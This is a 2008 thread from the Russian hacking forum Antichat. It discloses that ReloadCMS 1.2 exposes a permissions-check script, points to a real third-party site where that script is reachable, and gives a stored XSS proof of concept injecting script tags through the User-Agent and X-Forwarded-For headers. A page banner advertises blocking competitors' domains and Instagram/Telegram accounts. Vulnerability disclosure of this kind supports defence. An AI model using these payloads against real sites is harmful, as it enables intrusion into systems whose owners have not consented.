ReloadCMS (просмотр директорий и прав на запись)

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
ReloadCMS (просмотр директорий и прав на запись)

Опции темы

Поиск в этой теме

Опции просмотра

ReloadCMS (просмотр директорий и прав на запись)

17.12.2008, 09:24

USAkid

Участник форума

Регистрация: 17.06.2008

Сообщений: 214

С нами: 9420866

Репутация: 228

ReloadCMS (просмотр директорий и прав на запись)

ReloadCMS (просмотр директорий и прав на запись)
Уязвимый продукт: ReloadCMS 1.2.* (более не тестировал)
CMS без MySQL.
Хороший способ, чтобы узнать где какие права стоят.

Example:

Код:

http://site.com/path_to_cms/tools/rights_test.php

Немного погуглив нашел пример такого сайта:

Код:

http://ziggyred.com/test/tools/rights_test.php

𝕏 Twitter Reddit Telegram Копировать ссылку

17.12.2008, 11:59

[Raz0r]

Members of Antichat - Level 5

Регистрация: 25.02.2007

Сообщений: 495

С нами: 10109126

Репутация: 1980

это не баг, это фича (c) =)

Вот еще активная XSS (в статистике сайта):

Код:

GET / HTTP/1.0
User-Agent: <script>alert()</script>
X-Forwarded-For: <script>alert()</script>
Host: localhost
Connection: close

__________________
<? Raz0r.name — блог о web-безопасности

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules